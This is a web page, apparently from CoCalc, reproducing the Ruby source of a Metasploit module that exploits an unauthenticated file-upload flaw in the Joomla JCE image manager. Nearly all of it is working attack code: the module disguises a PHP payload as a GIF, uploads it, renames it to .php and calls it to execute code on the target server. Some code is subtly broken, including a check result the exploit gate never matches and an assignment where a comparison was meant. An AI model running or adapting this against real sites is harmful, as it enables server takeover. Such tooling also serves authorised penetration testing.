CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Joomla Component JCE File Upload Remote Code Execution',
15
'Description' => %q{
16
This module exploits a vulnerability in the JCE component for Joomla!, which
17
could allow an unauthenticated remote attacker to upload arbitrary files, caused by the
18
fails to sufficiently sanitize user-supplied input. Sending specially-crafted HTTP
19
request, a remote attacker could exploit this vulnerability to upload a malicious PHP
20
script, which could allow the attacker to execute arbitrary PHP code on the vulnerable
21
system. This module has been tested successfully on the JCE Editor 1.5.71 and Joomla
22
1.5.26.
23
},
24
'Author' =>
25
[
26
'Unknown', # From AmnPardaz Security Group # Vulnerability discovery and PoC
27
'Heyder Andrade <eu[at]heyderandrade.org>' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
['OSVDB', '74839'],
33
['EDB', '17734'],
34
['BID', '49338']
35
],
36
'Payload' =>
37
{
38
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
39
'DisableNops' => true,
40
'BadChars' => "#",
41
'Keys' => ['php']
42
},
43
'Platform' => 'php',
44
'Arch' => ARCH_PHP,
45
'Targets' => [[ 'Automatic', { }]],
46
'Privileged' => false,
47
'DisclosureDate' => '2012-08-02',
48
'DefaultTarget' => 0))
49
50
register_options(
51
[
52
OptString.new('TARGETURI', [true, "Joomla directory path", "/"])
53
])
54
end
55
56
57
def get_version
58
# check imgmanager version
59
@uri_base = normalize_uri(target_uri.path.to_s, 'index.php')
60
@vars_get_base = {
61
'option'=> 'com_jce',
62
'task' => 'plugin',
63
'plugin'=> 'imgmanager',
64
'file' => 'imgmanager'
65
}
66
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
67
res = send_request_cgi({
68
'uri' => @uri_base,
69
'vars_get' => @vars_get_base,
70
'method' => 'GET',
71
'version' => '1.1'
72
})
73
74
version = nil
75
if (res and res.code == 200)
76
res.body.match(%r{^\s+?<title>Image\sManager\s:\s?(.*)<})
77
version = $1.nil? ? nil : $1
78
end
79
80
return version
81
end
82
83
def check
84
version = ( get_version || '').to_s
85
86
if (version.match(%r{1\.5\.7\.1[0-4]?}))
87
return Exploit::CheckCode::Appears
88
end
89
90
return Exploit::CheckCode::Safe
91
end
92
93
94
def upload_gif
95
# add GIF header
96
cmd_php = "GIF89aG\n<?php #{payload.encoded} ?>"
97
98
# Generate some random strings
99
@payload_name = rand_text_alpha_lower(6)
100
boundary = '-' * 27 + rand_text_numeric(11)
101
102
parms = {'method'=> 'form'}
103
parms.merge!(@vars_get_base)
104
105
# POST data
106
post_data = Rex::MIME::Message.new
107
post_data.bound = boundary
108
post_data.add_part("/", nil, nil, "form-data; name=\"upload-dir\"")
109
post_data.add_part("", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"\"")
110
post_data.add_part("0", nil, nil, "form-data; name=\"upload-overwrite\"")
111
post_data.add_part("#{cmd_php}", "image/gif", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}.gif\"")
112
post_data.add_part("#{@payload_name}", nil, nil, "form-data; name=\"upload-name\"")
113
post_data.add_part("upload", nil, nil, "form-data; name=\"action\"")
114
115
data = post_data.to_s
116
117
res = send_request_cgi({
118
'uri' => @uri_base,
119
'vars_get' => parms,
120
'method' => 'POST',
121
'version' => '1.1',
122
'data' => data,
123
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
124
})
125
126
if (res and res.code = 200 )
127
return :access_denied if (res.body =~ /RESTRICTED/i)
128
print_good("Successfully uploaded #{@payload_name}.gif")
129
else
130
print_error("Error uploading #{@payload_name}.gif")
131
return :abort
132
end
133
134
return :success
135
136
end
137
138
def renamed?
139
# Rename the file from .gif to .php
140
141
data = "json={\"fn\":\"folderRename\",\"args\":[\"/#{@payload_name}.gif\",\"#{@payload_name}.php\"]}"
142
143
print_status("Change Extension from #{@payload_name}.gif to #{@payload_name}.php")
144
145
res = send_request_cgi(
146
{
147
'uri' => @uri_base,
148
'vars_get' => @vars_get_base,
149
'method' => 'POST',
150
'version' => '1.1',
151
'data' => data,
152
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8',
153
'headers' =>
154
{
155
'X-Request' => 'JSON'
156
}
157
})
158
if (res and res.code == 200 )
159
print_good("Renamed #{@payload_name}.gif to #{@payload_name}.php")
160
return true
161
else
162
print_error("Failed to rename #{@payload_name}.gif to #{@payload_name}.php")
163
return false
164
end
165
end
166
167
def call_payload
168
payload = "#{@payload_name}.php"
169
print_status("Calling payload: #{payload}")
170
uri = normalize_uri(target_uri.path.to_s, "images", "stories", payload)
171
res = send_request_cgi({
172
'uri' => uri,
173
'method' => 'GET',
174
'version' => '1.1'
175
})
176
end
177
178
179
180
def exploit
181
182
return if not check == Exploit::CheckCode::Vulnerable
183
if upload_gif == :success
184
if renamed?
185
register_files_for_cleanup("#{@payload_name}.php")
186
call_payload
187
end
188
end
189
190
end
191
end
192
193